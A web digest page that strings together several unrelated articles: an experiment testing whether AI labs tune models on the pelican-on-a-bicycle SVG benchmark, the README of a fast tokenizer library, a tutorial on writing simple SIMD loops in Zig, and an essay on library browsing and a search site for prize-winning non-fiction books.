Get responses tailored to you
Log in to get answers based on saved chats, plus create images and upload files.
10 interesting stories served every morning and every evening.
10 interesting stories served every morning and every evening.
Get responses tailored to you
Log in to get answers based on saved chats, plus create images and upload files.
For the past few years, Simon Willison has tested every major LLM release with the same prompt: “Generate an SVG of a pelican riding a bicycle”.
What began as a tongue-in-cheek benchmark has become one of the most famous informal benchmarks in AI. Simon’s pelican-on-a-bicycle results are often among the most upvoted comments on Hacker News threads announcing new releases from AI labs.
The benchmark is now famous enough that there’s plenty of discussion about its usefulness and about whether AI labs might be benchmaxxing1 on it. When billions or even trillions of dollars are at stake, and a strong result could help persuade users, wouldn’t it be tempting to pelicanmaxx your model just a bit?
I wanted to find out, so I put together a small experiment. I generated 1,008 SVGs across seven frontier models, scored them with an LLM judge, and used Claude Fable 5 for the analysis.
This article presents the results. All the code is available on Github.
How I tested it
I built a grid of 8 animals × 6 vehicles = 48 prompts, where the famous prompt is one cell:
Animals: pelican, flamingo, heron, otter, raccoon, antelope, whale, cat
Vehicles: bicycle, unicycle, skateboard, scooter, plane, boat
Every prompt uses almost identical phrasing to Simon’s, only switching the animal and vehicle. The animal and vehicle selection wasn’t done in a very rigorous manner, but I tried to vary both similarity to the original prompt and difficulty. Flamingo and heron are quite similar to pelicans; cat, raccoon, and otter are easy cases; antelope is hard; and whale is as different as you can get.
I tested seven models through OpenRouter: GPT-5.6 Terra, Claude Sonnet 5, Gemini 3.5 Flash, Grok 4.5, Qwen3.7-Max, GLM-5.2, and DeepSeek V4 Pro. I generated 3 samples per prompt, at temperature 1.0, requesting the same reasoning effort from every model. That resulted in 1,008 SVGs.
Then I ran each image through a three-stage pipeline:
Rendering: Each SVG is rendered to PNG. If a model returns no SVG or one that fails to render, I regenerate until it produces a valid one, and record the number of attempts. There were only 11 retries across the 1,008 generations.
Judging: GPT-5.6 Luna scores each image with 1 – 5 ratings for the animal, the vehicle, and the coherence of the action. When I rank animals or vehicles below, I use the matching rating on its own. When I need one number per image, I use the average of the three, which I call the judge score.
Feature extraction: For a more detailed analysis, I also passed each rendered image to Gemini 3.1 Flash-Lite, which recorded the animal and vehicle it recognized, which way the subject faces, and an open-ended list of scene elements.
My hypothesis is that if a lab trained on the benchmark, it should show up in some combination of the pelican row scoring above what the animal deserves, the bicycle column scoring above what the vehicle deserves, or the specific pelican-bicycle cell beating both.
Evidence #1: The pelicans on bicycles don’t look any better
Before any scoring, the simplest test is to look at the images yourself. Pick a lab to see everything it drew, with the judge’s score under each image (click to open full size):
I looked through the images myself before running the analysis below. Nothing jumped out at me. I couldn’t find a case where the pelican-bicycle images looked noticeably better than the rest of that model’s grid. Maybe in GLM-5.2’s first sample it felt slightly better than the rest, but that batch also produced a pretty cool heron on a skateboard, so I cannot say for sure. Otherwise they look like the rest of what each model draws, and the labs that draw good pelicans on bicycles also do a good job drawing other animal-vehicle combinations.
But this test is hard to replicate, and everyone will have a different opinion. So I wanted something more quantitative, which is why I opted for the method detailed above.
Evidence #2: Labs are not better at drawing pelicans
Here’s the mean animal rating per animal, pooled across all models:
The pelican is 6th of 8, behind cat, whale, raccoon, heron, and antelope. If AI labs were training on the benchmark, you’d expect pelicans at the top. Instead they’re in the bottom half. All seven labs draw cats, whales, and raccoons better than pelicans.
Of course, a pelican may simply be harder to draw than a cat. A lab could train on pelicans and still not push them past the easy animals, so this ranking alone can’t rule that out. I’ll adjust for difficulty in Evidence #4.
Evidence #3: Labs are not better at drawing bicycles
Bicycles fare even worse. They sit second from last, in a near-tie with planes, which come in last:
If labs were training on the benchmark, you’d expect bicycles near the top of this ranking. They’re not. However, the same caveat applies here. A bicycle is harder to draw than a skateboard: it needs two matching wheels, a frame that reaches both axles, handlebars, a seat, and pedals. The judge flags a missing or disconnected one of those on 2/3 of the bicycle images. You can train on bicycle images and still not do a great job relative to simpler vehicles.
One note on the plane, though: I should’ve picked “airplane” instead of “plane” because models often read it geometrically. They drew the animal standing on a flat surface instead of flying an aircraft. The plane is the only vehicle where the feature extractor sometimes found no vehicle at all (25 of 168 images, against zero for the other five), and 20% of plane images scored a 1 or 2 on the vehicle rating, against 5% for bicycles and none at all for boats, scooters, or skateboards.
Evidence #4: Labs are not better at drawing pelicans on bicycles, even adjusting for difficulty
Put the two together and the “pelican on a bicycle” ends up near the bottom of the ranking, at #42 of 48:
But again, some combinations might be just harder to draw than others.
To account for that, I fit a fixed-effects regression on all 1,008 images: score ~ lab + animal × vehicle, plus per-lab interaction terms for pelican, bicycle, and the pelican-bicycle cell, with robust standard errors. The animal × vehicle terms absorb the inherent difficulty of all 48 combinations. The interactions measure each lab’s benchmark-specific boost relative to the average lab, with confidence intervals.
The results:
Every per-lab pelican effect (the lab’s boost on pelicans across all six vehicles) lands between -0.11 and +0.14 judge points, and none comes close to significance (smallest p = 0.25).
The per-lab bicycle effects (the lab’s boost on bicycles across all eight animals) run from Grok 4.5 at -0.18 (p=0.11) to Gemini 3.5 Flash at +0.27 (p=0.022). Only Gemini clears p < 0.05, and the seven point in both directions.
No pelican-bicycle cell effect (the extra boost on the specific combination, on top of the lab’s pelican and bicycle effects) clears p < 0.05. The largest positive is GLM-5.2 at +0.35 (p=0.12), which is the one I mentioned earlier. It’s the closest thing to a signal in this experiment, but still within chance.
Here are the full per-lab estimates. A pelicanmaxxing lab would show dots to the right of the zero line across its whole row:
Every pelican interval and every cell interval contains zero. Exactly one doesn’t: Gemini 3.5 Flash in the bicycle column. But with 21 tests at p < 0.05, chance alone predicts about one false positive (21 × 0.05 ≈ 1.05), and one is exactly what came up. It also doesn’t survive a multiple-comparisons correction: the Bonferroni threshold across the 21 tests is 0.05/21 ≈ 0.002, and its p-value is 0.022. The full table of estimates and p-values is in the repo.
But these intervals are wide, about ±0.6 judge points on average. Any boost smaller than that won’t be captured by this test.
Evidence #5: The pelican-bicycle scenes don’t look memorized
Some have suggested that the pelican on a bicycle looks like a memorized composition, pointing to recurring patterns such as the pelican always facing right, or recurring elements like a sun or a scarf. So I wanted to know if this was true.
Direction: All 21 pelican-bicycle images, across all seven labs, face right. No other animal/vehicle combination does that.
However, facing right is common: 60% of all 1,008 images do it. How common depends on the animal and the vehicle, and bicycles are one of the two vehicles where it’s strongest:
Pelicans are also among the animals that tend to face right:
It’s hard to draw a pelican or a bicycle facing the viewer, so models almost always draw them from the side, facing left or right. That’s why so few of their images are ambiguous. Other combinations also come close to unanimous: antelope on a scooter and pelican on a scooter land at 20 of 21, and heron on a bicycle at 19 of 21. So 21 out of 21 doesn’t seem like an outlier.
Scene elements: I let the extractor name any element it saw in the image. These are the counts:
A memorized scene would show up as the same set of elements recurring picture after picture. I went looking for that, and found some combinations do tend to produce the same elements every time. Every single flamingo on a boat has a sun in it. Otters on planes wear scarves 38% of the time. Cats on bicycles get a basket 38% of the time.
The pelican on a bicycle doesn’t seem to have anything particularly different about it. It just has some elements that appear more frequently, like every other animal-vehicle combination.
Limitations
Using a single LLM judge for scoring. Every score here comes from one model, GPT-5.6 Luna, looking at one image at a time. I didn’t do much alignment and didn’t check how often it agrees with itself on a re-run. If a model just can’t judge a drawing reliably, none of the numbers above mean much. The judge is also from the same family as one of the contestants, GPT-5.6 Terra. However, every lab draws all 48 combinations, so a judge that happens to like one lab’s style lifts that lab’s whole grid at once. But that doesn’t change the results because this analysis only cares about the within-lab differences.
SVGmaxxing. A lab that optimized SVG generation as a whole (or a subset such as animals on vehicles) rises on every cell at once and looks identical to a lab that’s just good. Some labs, such as Google/DeepMind, openly do this. This experiment can’t detect that.
Limited budget. The whole experiment ran on roughly $80 of API credits. That capped it at 3 samples per cell, a single judge, and 7 models. This also prevented me from iterating too much on the prompts and pipeline, as with the “plane” vs. “airplane” case.
Conclusion
Sorry, HN haters, but there’s little evidence that AI labs are pelicanmaxxing. Or at least they’re not doing it in a plainly obvious manner.
Pelicans aren’t drawn any better than other animals. Bicycles aren’t drawn any better than other vehicles. And no lab draws the combination better than its pelicans and bicycles already predict. GLM-5.2 comes closest: it has the largest boost on the exact pelican-bicycle cell, and its first pelican-on-bicycle sample caught my eye. But the effect is small and not significant, so I wouldn’t put too much weight on it.
The other thing that stands out is direction in the scene composition. All 21 pelican-bicycle images face right, the only combination in the grid where every image agrees. But it doesn’t seem that strange. Facing right is the norm across the experiment. Three other combinations land at 90% or above, and with 48 of them, I’m not surprised one reached 21 out of 21.
The more plausible story is SVGmaxxing like Google/DeepMind does. Other labs might be doing it more quietly. Sadly, this experiment can’t say who’s doing it. But at least you can sleep tonight knowing that AI labs are not producing terabytes of pelicans on bicycles just to trick Simon Willison.
If you want to look at the data yourself, the full pipeline is in the repo.
Footnotes
the practice of optimizing AI models to achieve high scores on popular benchmarks.↩︎
the practice of optimizing AI models to achieve high scores on popular benchmarks.↩︎
Citation
BibTeX citation:
@online{castillo2026, author = {Castillo, Dylan}, title = {Are {AI} Labs Pelicanmaxxing?}, date = {2026 – 07-18}, url = {https://dylancastillo.co/posts/pelicanmaxxing.html}, langid = {en} }
For attribution, please cite this work as:
Castillo, Dylan. 2026. “Are AI Labs Pelicanmaxxing?” July 18. https://dylancastillo.co/posts/pelicanmaxxing.html.
~1000x faster than HuggingFace’s tokenizers, drop-in replacement.
Tokenize your text data at GB/s!
Note that both HF tokenizers and tiktoken are already running multithreaded Rust!
What is Gigatoken?
Gigatoken is the fastest tokenizer for language modeling. It supports a wide range of CPU hardware, and nearly all commonly used tokenizers. See the Benchmarks section for detailed throughput numbers across tokenizers and CPUs.
Installation
pip install gigatoken
Usage
Gigatoken can be used with its own API, or in compatibility mode with HuggingFace Tokenizers or Tiktoken.
Compatibility Mode (Easiest)
import gigatoken as gt
# Minimum change from existing HuggingFace tokenizers usage (compatibility mode) hf_tokenizer = … tokenizer = gt.Tokenizer(hf_tokenizer).as_hf()
# tokenizer can be used in the same contexts as hf_tokenizer tokens = tokenizer.encode_batch([“This is a test string”, “And here is another”])
# OR with tiktoken tiktokenizer = … tokenizer = gt.Tokenizer(tiktokenizer).as_tiktoken()
# Now works like existing tiktoken tokenizers tokens = tokenizer.encode_batch([“This is a test string”, “And here is another”])
A substantial amount of effort has been put into making sure the outputs match exactly with what you would get with HuggingFace Tokenizers in this setting, but this is at a non-negligible cost to performance. You can still expect way faster performance across the board, but not quite the 1000x you will get with the Gigatoken API.
Gigatoken API (Fastest)
import gigatoken as gt
tokenizer = gt.Tokenizer(“Qwen/Qwen3 – 8B”) # Accepts HF model names file_source = gt.TextFileSource([“owt_train.txt”], separator=b”<|endoftext|>“) tokens = tokenizer.encode_files(file_source)
Using the Gigatoken API lets the Rust implementation read data directly, and skips as much overhead as possible while allowing for maximum parallelism. Keep in mind that passing Python data structures through this API still incurs the overhead of reading from Python.
Benchmarks
OWT (openwebtext) was chosen because it’s roughly representative of the text you get after extraction from CommonCrawl documents. Gigatoken encodes the whole file un-split, and is thus doing more work than the other tokenizers to find the split boundaries and automatically parallelize. HuggingFace tokenizers (encode_batch_fast) gets the first 100 MB and tiktoken (encode_ordinary_batch) the first 1 GB, both presplit on <|endoftext|>. This is fair because neither of the compared tokenizers do caching, meaning the speed is roughly uniform throughout processing. Tiktoken rows are currently only filled in for tokenizers with official support.
The slowest rows are the SentencePiece-based tokenizers, which are not well optimized in Gigatoken.
Each row is one distinct tokenizer (identical vocab/merges/pretokenizer), measured on a representative repo. If you don’t see your tokenizer here, it’s likely based on some existing one. For instance:
Llama 3 / 3.1 / 3.2 — Llama 3 / 3.1 / 3.2, DeepSeek-R1-Distill-Llama, Hermes 3, Saiga, and other Llama-3 finetunes
Llama 3.3 — Llama 3.3, Llama-3.1-Nemotron-Nano-VL, SmolLM3, Kanana 1.5, jina-embeddings-v5, Ultravox
Qwen 2 / 2.5 — Qwen 2 and 2.5 (incl. Coder and VL), Qwen3-Coder, Qwen3-VL, DeepSeek-R1 Qwen distills, MiMo V2.5, MiniCPM-o 2.6, InternVL3
Qwen 3 — Qwen 3 (incl. Embedding and Reranker), Qwen2.5-Omni, Qwen3-VL-Embedding, MiMo V2.5 Pro, jina-reranker-m0, pplx-embed, MOSS-TTS, Zeta
DeepSeek V3 / R1 / V4 — DeepSeek V3 / V3.1 / V3.2, R1, V4 Flash and Pro, DeepSeek-VL2
GLM 4 — GLM 4.1V, 4.5, and 4.7
GLM 5 — GLM 5 / 5.2 and GLM-4.7-Flash
Nemotron 3 — Nemotron 3 Nano, Super, and Ultra
Kimi K2 — Kimi K2 / K2.5 / K2.6 / K2.7, Kimi-Linear, Kimi-VL, Moonlight
Phi-4-mini — Phi-4-mini and Phi-4-multimodal
TinyLlama / Phi-3 (Llama 2) — TinyLlama, Phi-3-mini, Phi-3.5-mini and Phi-3.5-vision (the Llama 2 vocab)
Gemma 3 — Gemma 3 (270M–27B) and EmbeddingGemma
Gemma 4 — Gemma 4 (dense, MoE, and E-series) and DiffusionGemma
FAQ
Q: Did you just way over-optimize for a specific CPU and tokenizer? How is it so fast?
No, I way over-optimized for every combination of these! The results are very consistent across CPUs (modern x86 and ARM), and across specific tokenizers.
The major improvements are in optimizing heavily an implementation that usually is outsourced to a Regex engine (pretokenization) using SIMD, minimizing branching and other tricks, as well as heavily optimizing caching of pretoken mappings (if a word has been seen before, look it up its encoded tokens efficiently). Caching is a very hard problem in this domain since the cache grows very quickly, and pretoken distributions are very long-tailed.
Some gains are also achieved from minimizing interactions with Python, and avoiding communication between threads.
Q: How can I quickly check if my tokenizer is supported?
You can try it out without installing anything! The following command will validate and time tokenization for a given HuggingFace model repo:
# Download your data wget https://huggingface.co/datasets/stanford-cs336/owt-sample/resolve/main/owt_train.txt.gz # Just an example! gunzip owt_train.txt.gz
uvx –with tokenizers gigatoken bench ‘openai-community/gpt2’ owt_train.txt \ –validate –doc-separator “<|endoftext|>”
cpu: Apple M4 Max, 16 cores gigatoken: 1.432 s | 11920.51 MB at 8327.05 MB/s | 2701.65 Mtok at 1887.23 Mtok/s hf: 16.250 s | 100.00 MB at 6.15 MB/s | 22.76 Mtok at 1.40 Mtok/s gigatoken is 1353.13x faster than hf validation OK: 20401 documents match
cpu: AMD EPYC 9565 72-Core Processor, 144 cores, 2 sockets gigatoken: 0.486 s | 11920.51 MB at 24532.45 MB/s | 2701.65 Mtok at 5564.94 Mtok/s hf: 4.033 s | 100.00 MB at 24.80 MB/s | 22.76 Mtok at 5.63 Mtok/s gigatoken is 989.21x faster than hf validation OK: 20401 documents match
At the rates we see on the EPYC CPU, you could tokenize the entirety of Common Crawl (often considered to be the entire internet, 130 trillion tokens) in just under 6.5 hours!
This example uses the train sample from this dataset, and the CLI by default subsets to the first 100MB of the file for validation and comparison with HF. You can see help for these flags with uvx gigatoken bench –help. You might need to run your commands twice on macOS to get a good reading, since the first run will always perform a security scan, which will slow down the Rust code.
Q: I’ve found a mismatch/slow use-case, is this expected?
Most likely not! Despite reasonably wide testing I don’t have every use-case on hand, so please report anything you find in a GitHub Issue so I can address it as soon as possible.
Citation
If you use Gigatoken in your research, please cite it as:
@software{roed2026gigatoken, author = {Marcel R{\o}d}, title = {{G}igatoken: SIMD and Cache Hierarchies for 1000x Faster Byte-Pair Encoding Tokenization on Modern CPUs}, url = {https://github.com/marcelroed/gigatoken}, year = {2026}, }
Known Issues
Python iteration is handled in Rust, but uses ABI3, which is slower than using internal version-specific CPython APIs. In the future I intend to specialize for each Python version to cut this overhead. Early experiments show a 2x speed improvement for overhead-bound cases.
File sinks are not yet implemented in the Gigatoken API.
WordPiece is not yet supported.
SentencePiece-based tokenization is not nearly as optimized as the more common BPE tokenizers. This is low priority for now since mostly Google models/BERT style models use SentencePiece.
Windows has not been tested much, so for now prefer using WSL.
Implementing the user-facing API
Widening of compatibility, for instance generalizing and porting the pretokenizer implementations to support more tokenizers, less interesting features like padding/truncation/unicode normalization
Porting SIMD strategies between AVX512/AVX2/NEON
Final profiling stages and the last ~4x worth of performance from eliminating branching and improving the pretoken cache hierarchy
Refactoring and code reuse
SIMD has a reputation for being complex. I’ve met many very good software engineers who dismiss it as something too complex to learn or a niche optimization meant for only the highest-performance software, not useful in everyday programming.
I think that’s wrong. SIMD can be simple to understand1, and common “process N values at a time” SIMD code to speed up a naive for loop almost always follows the same general shape. Once you learn the basics, writing SIMD is just about as easy as a for loop. And when it’s not, it’s usually a good sign to skip it for now.
Every developer should know at least that much SIMD.
This post uses Zig for examples but is a general piece that applies to any programming language. Support for SIMD instructions varies by programming language and I hope that more programming languages expose these generic concepts in the future!
I hate that I have to do this for every post now, but I also want to note this was completely hand-written with no AI assistance.
Background: What Is SIMD?
The Common Shape
A Real Example
Step 1: Broadcast Constants
Step 2: Loop One Vector at a Time
Step 3: Perform the SIMD Operation
Step 4: Reduce the Vector Result
Step 5: Finish with the Scalar Tail
Recap: The Common Shape
Why Can’t the Compiler Do This?
Everyone Should Know SIMD
Background: What Is SIMD?
If you already know what SIMD is, skip this section.
SIMD allows a CPU to operate on multiple values in parallel. For example, instead of comparing one byte at a time, a CPU can compare 4, 8, or even more bytes with a single instruction.
If you ever see loops like this in your code:
for (byte in bytes) { /* … */ } for (character in string) { /* … */ } for (value in array) { /* … */ }
There is an opportunity to use SIMD. SIMD turns those into this:
for (8 byte chunk in bytes) { /* … */ }
This results in a localized speedup that directly maps to the parallelism: you process data 4x, 8x, or even faster.
The only real requirement for this to pay off is that you need to be regularly processing a large enough number of bytes. If you’re doing these for loops across data that is only ever a handful or dozens of bytes, it’s not worth it. But if this is iterating over hundreds, thousands, millions of bytes, the payoff will be huge.
That’s the basics. Projects such as simdutf and simdjson take this to an extreme and use SIMD techniques that can be difficult to understand. But you do not need to write algorithms like those to benefit from SIMD. The common case is dramatically simpler.
The Common Shape
The common “process N values at a time” SIMD code follows the same five steps:
Broadcast any constants you need and initialize vector accumulators, if any.
Loop over input one vector-width chunk at a time.
Perform the comparison or arithmetic across all lanes in parallel.
Reduce or store the vector result as needed.
Handle the remaining elements with a scalar tail. A scalar tail is just your normal loop from before vectorizing, but it only processes the remainder that doesn’t fit into a full vector.
As you do this more and more, you’ll begin to naturally decompose every for loop into these five steps and writing SIMD becomes nearly as natural as writing a scalar loop.
A Real Example
Let’s look at a real example from Ghostty. We’ll look at the scalar implementation, the SIMD implementation, and then map it back to the common shape above.
I have a slice of decoded codepoints that I want to consume until I see a value at or below 0xF (a C0 control character).2 Terminals are mostly plain characters to be printed, so we try to batch all those together. So this loop finds the end of the next printable run as quickly as possible.
The scalar loop is one line:
while (end < cps.len and cps[end] > 0xF) end += 1;
It processes one codepoint at a time. It is easy to understand.
Here is the generic vector version with no CPU-specific intrinsics3 and no comments. I will explain it in detail later.
if (simd.lanes(u32)) |lanes| { const V = @Vector(lanes, u32); const threshold: V = @splat(0xF); while (end + lanes <= cps.len) : (end += lanes) { const values: V = cps[end..][0..lanes].*; const greater_than_threshold = values > threshold; if (@reduce(.And, greater_than_threshold)) continue; const mask: std.meta.Int(.unsigned, lanes) = @bitCast(greater_than_threshold); end += @ctz(~mask); break; } }
while (end < cps.len and cps[end] > 0xF) end += 1;
12 more lines of code.
This can improve the loop’s throughput by up to 4x with ARM NEON (including Apple Silicon), 8x with AVX2 (most modern x86 CPUs), and 16x with AVX-512 (some Intel CPUs and AMD Zen 4 and newer).
In real-world end-to-end throughput from terminal program to finalized terminal state on an AVX2 Intel desktop, this was more like a 5x speedup. You always lose some of the ideal speedup due to the other stuff around the SIMD code, but… that’s still 5x!
Okay, now I understand that those 12 lines are going to look really alien to someone not familiar with the concepts. So now let’s back up and explain it step by step, mapping it directly to the shape previously mentioned.
Step 1: Broadcast Constants
Let’s start with the first three lines:
if (simd.lanes(u32)) |lanes| { const V = @Vector(lanes, u32); const threshold: V = @splat(0xF);
simd.lanes(u32) is a helper in Ghostty that returns the number of u32 values the target CPU can process at once. These individual values are called lanes. On ARM this returns 4, AVX2 returns 8, and AVX-512 returns 16. If the target doesn’t have a vector size we want to use, it returns null and we skip all of this code and do zero SIMD work.
@Vector(lanes, u32) creates the vector type. If lanes is 8, then V is a single value containing eight u32 values that the CPU can operate on in parallel. And so on.
Finally, we need to compare every value to 0xF. A vector comparison requires a vector on both sides, so @splat(0xF) copies, or broadcasts, 0xF into every lane. The result is a vector that looks like this:
{ 0xF, 0xF, 0xF, 0xF, 0xF, 0xF, 0xF, 0xF }
This is step 1: prepare the vector type and broadcast any constants. Some algorithms also initialize a vector accumulator here, but this algorithm doesn’t need one.
Step 2: Loop One Vector at a Time
Next, we loop over one complete vector at a time:
while (end + lanes <= cps.len) : (end += lanes) { const values: V = cps[end..][0..lanes].*;
If lanes is 8, we only enter the loop when at least eight values remain. Inside the loop, we load those eight values into the vector values. At the end of every loop, end += lanes moves forward by eight values instead of one.
The requirement for a complete vector is important. If only five values remain, we can’t load an eight-lane vector. There are various tricks to handle this, but we do the easy thing and handle them via our scalar tail, which I’ll explain later in step 5.
This is step 2: load and loop over the input one vector-width chunk at a time. You can see the lane-count speedup here!
Step 3: Perform the SIMD Operation
Now we perform the comparison:
const greater_than_threshold = values > threshold;
Both values and threshold are vectors, so this maps to a vector operation (a literal vector CPU instruction). The one > compares every lane in values to every corresponding lane in threshold. If there are eight lanes, this is equivalent to performing the scalar comparison cps[end] > 0xF eight times, but it does it in one CPU instruction instead.4
The result is another vector with one boolean per lane. Conceptually, it looks something like this:
values: { 0x41, 0x42, 0x43, 0x0A, 0x44, 0x45, 0x46, 0x47 } threshold: { 0xF, 0xF, 0xF, 0xF, 0xF, 0xF, 0xF, 0xF } greater_than_threshold: { true, true, true, false, true, true, true, true }
This is the actual SIMD operation. There is no explicit inner loop. The > operator applies to every lane in parallel.
Comparisons are only one example. This could be addition, multiplication, minimum, maximum, or any other operation supported by the vector type. The point is the code still has the same shape.
Step 4: Reduce the Vector Result
We now have a vector of booleans, but the original loop needs to know the location of the first value at or below 0xF.
First, let’s handle the common case where every value is above 0xF:
if (@reduce(.And, greater_than_threshold)) continue;
@reduce(.And, …) combines every boolean using and and returns a single boolean. If every lane is true, we continue and process the next vector. In our example, lane 3 is false, so @reduce returns false and we fall through to find exactly which lane failed.
If any lane is false, then we need to find exactly which lane failed:
const mask: std.meta.Int(.unsigned, lanes) = @bitCast(greater_than_threshold); end += @ctz(~mask); break;
@bitCast turns the vector of booleans into an integer with one bit per lane. A 1 bit means the value was greater than 0xF and a 0 means it wasn’t. We invert the mask so failed comparisons are 1, and then @ctz counts the number of zero bits before the first failure. That count is the index of the first failing lane.
We add that index to end and break because we found the control character.
Using the same values from step 3, we can see this transformation per lane:
values: { 0x41, 0x42, 0x43, 0x0A, 0x44, 0x45, 0x46, 0x47 } greater_than_threshold: { true, true, true, false, true, true, true, true } mask: { 1, 1, 1, 0, 1, 1, 1, 1 } ~mask: { 0, 0, 0, 1, 0, 0, 0, 0 }
@ctz(~mask) counts three zero bits before the first 1, so it returns 3. Adding 3 to end points it at lane 3, which contains 0x0A, the first control character.
This is step 4: reduce the vector result into whatever the original algorithm needs. This is also the step that varies the most between algorithms. A sum might reduce a vector accumulator into a single number. A transform might store the entire vector to an output buffer. Our scan turns the vector into a bit mask so it can find one specific lane.
Step 5: Finish with the Scalar Tail
After the vector loop, we run the exact scalar loop we started with:
while (end < cps.len and cps[end] > 0xF) end += 1;
If the input length isn’t an exact multiple of the vector width, this processes the remaining values. For example, an eight-lane vector loop leaves anywhere from zero to seven values for this loop. This is called the scalar tail.
This loop also handles CPUs where simd.lanes(u32) returns null. In that case we skip all of the SIMD code and the scalar loop processes the entire input. The original implementation remains both the fallback and the tail.
That’s step 5. It’s just the normal loop.
Recap: The Common Shape
Let’s map the entire implementation back to the five steps:
@splat(0xF) broadcasts the comparison value into every lane.
The while loop loads lanes values at a time.
values > threshold compares every lane in parallel.
@reduce, @bitCast, and @ctz find the first failed comparison.
The original scalar loop handles the remainder and unsupported CPUs.
The details in step 4 initially take some time to understand, but the overall shape is straightforward. And steps 1, 2, 3, and 5 tend to look nearly identical across completely different algorithms.
Whenever you see a for (byte in bytes), this is the shape you’ll map to.
Why Can’t the Compiler Do This?
Sometimes it can! Compilers can auto-vectorize simple loops, particularly regular arithmetic loops without complex control flow. You should always compile the scalar version with optimizations and see what your compiler produces before manually writing SIMD.
But compilers are severely limited in what they can auto-vectorize and are in general very poor at it. Auto-vectorization has been an active area of compiler research for decades, and recent research still begins from the observation that production compilers regularly miss vectorization opportunities. This isn’t a problem I expect to disappear soon.
My first year of college, I had a work-study job which ended up being one of the most sneakily important intellectual experiences of my life. I was a lowly library shelver, assigned to the shelves labelled A through F section in the Library of Congress filing system: mostly works on religion, philosophy, sociology, and history. I say sneakily important because at first glance, shelving books in a library is super boring. What it amounts to, physically, is reading the label on a book, then placing it on the shelf where it belongs, repeated around a thousand times per shift.
To avoid the tedium, I decided that I would also flip to a random page of every book I shelved and read a random sentence from it. Usually, I would stop there — running aground on some passage by a Hungarian classical music critic or a long-dead statistician of Bolivia’s agricultural development or any number of other things that failed to catch my interest. But other times — like when I came across a book about Hellenistic mystery cults, or The Education of Henry Adams, or Are Clothes Modern?— I would become so absorbed that I’d make my way through several pages before reluctantly depositing the book back where it belonged.
And then, very often, I’d do the same with the books on either side of the one I’d liked.
In retrospect, I learned more at this job than in any formal class I’ve ever taken, because it was a filtered form of auto-didacticism. The Library of Congress classification system — and the expert staff of an academic research library — had already sorted and filtered these texts. Not to mention the selection mechanism of the fact that that they had been checked out: had, in other words, found a lasting readership. Thus I was not seeing a truly haphazard sampling of books, but a targeted, organized, yet still interestingly randomized sampling of good books.
Today, undergraduate students will invariably search on Google when asked to find a source, and the results are so much worse than the old method of going to, say, the GR 830 shelf of a research library (basically, “books that the Ghostbusters would read”) and just looking around.
But honestly, even research libraries are not what they used to be. I am 41, and I feel like I’ve lived through the peak, and now the decline, of what libraries can be (I still love them, of course — in fact I’m currently writing this in the genealogy section of the Santa Cruz Public Library). The browsable open stacks of old are being replaced by Learning Labs and Digital Innovation Hubs and seating areas devoted mostly to socializing and snacking, and increasingly, the delightful, weird old books that I had the opportunity to browse as an undergrad are heading to dumpsters, replaced by e-editions.
But one thing that has remained consistently good throughout my life is the books themselves — non-fiction books, I mean. Even now, as readership of non-fiction declines amid competition from AI chatbots and podcasts, I feel like we are living through a golden age of the form that rarely gets recognized as such.
Which is why I set aside some time this summer to create — or, rather, induce Claude Code to create — a free platform for searching in the long tail of high-quality non-fiction books. Quality is difficult to define, but it’s been my experience that books that win or achieve the short-list of the major non-fiction prizes are almost always noticeably good, so that was the litmus test I used. To get started, I counted up all the major non-fiction prizes in the English language. Then I had Claude and GPT-5.6 gather the lists of finalists and winners from various online sources (mostly Wikipedia) and arrange it into a searchable, sortable list.
You can visit it here.
(And before you wonder, yes this is actually free. I am paying for the hosting and the API costs entirely because I just want people to find and read more good non-fiction books.)
There is really nothing “AI” about this aside from the tool that collected the data and coded it,1 and, crucially, semantic search, which for me is the most appealing of all current AI tools precisely because it offers a straightforward improvement for a workflow and habit that researchers already have: it makes text search work better.
So for instance, you can search simple phrases like “modern France” or “social history” or the like, but you can also search things like “classic biographies that are surprisingly weird,” and an embedding model pulls from the 6,500 or so titles to surface some:
Sometimes the “choices” that the search makes are a bit baffling, but that is precisely why I like it: the idea is to recapture some of that feeling of a random walk through a well-tended garden that made my library shelving job so rewarding.
I find it tends to be best for finding “books like.” For instance I found Stefan Zweig’s memoir of pre-war Vienna, The World of Yesterday, to be deeply moving (even before I learned that he committed suicide, in Brazil in 1942, immediately after completing it). A search for a books like it using semantic search in the corpus immediately yields some titles that seem promising but which I’d never heard of before:
Once I had gathered all this book-related data, it became a fun experiment to make some data visualizations with it, including fun oddities like this display of roughly 5,000 books from the corpus arranged by color (it would be interesting to plot this by decade, to see whether the same graying effect we see in cars over the past few decades is active in book covers, too).
More useful, perhaps (since I’ve never seen this plotted anywhere else), is this chart and accompanying ranking which allows you to explore which imprints and publishers have fared best when it comes to non-fiction book awards over the past century.
And this, in turn, got me thinking about the past and future of nonfiction as a cultural force. For instance, here is a chart of all the non-fiction book prizes which I sampled for this project. I was surprised to learn that even the august, renowned Pulitzer Prize for nonfiction was actually relatively recently instituted, beginning in 1962.
Throughout the 70s, 80s and 90s, the number of prizes increases, until we reach a peak in 2014, and then, in 2020, the beginning of what may be a slow decline:
And yet, maybe not. What most struck me as I began using my own tool to find new books to read was how consistently good the long tail of non-fiction from the past few decades is. You can pick a book more or less at random from this list and end up with something extraordinary and original — not because it’s a hidden gem or forgotten, since obviously these books are on the list by virtue of having been celebrated and praised. But a book that won enormous praise in newspapers and among literary intelligentsia or scholars in the early 1990s, say — like, for instance, David Levering Lewis’s acute biography of W.E.B. Du Bois, which I’m currently reading — is not exactly the sort of thing that Amazon is likely to recommend, as it’s out of print and currently at 1 million+ in the sales rankings.
Yet there it is on the list, ranked near the top ten of all books because it won no less than four major prizes when it was published back in 1993. And I can personally attest that you can buy it used for ~$4 and it’s really good.
While writing this post, I got interested in the bigger question of when the golden age of non-fiction began and why. I suspect it has much to do with the rise of those old-school open stack research libraries, whose origins I wrote about here:
It’s true that the basic blueprint of these institutions is an 18th and 19th century development — but the post-war era radically transformed the ways that libraries and archives produced new knowledge, for a range of reasons that I will dig into more in a future post. It seems to me that a surprising number of them are related to technological and social change:
• The jet plane allowed writers and researchers to travel to multiple continents to research books — the sort of opportunity previously available only to the ultra-wealthy.
• The erosion of restrictions around class, race, and gender made formerly elite spaces like rare book libraries more widely accessible, and the same process also opened up new questions and research leads (for instance, it is striking how rarely biographers before ~1965 or so dug into the sexuality of their subjects).
• Proto-digital and early digital technologies like the Library of Congress classification system and the related MARC (machine-readable cataloguing) standard, developed in the late 1960s, made it much easier to sort and classify books. Crucially, they also made it easier to fact check sources and create high quality endnotes.
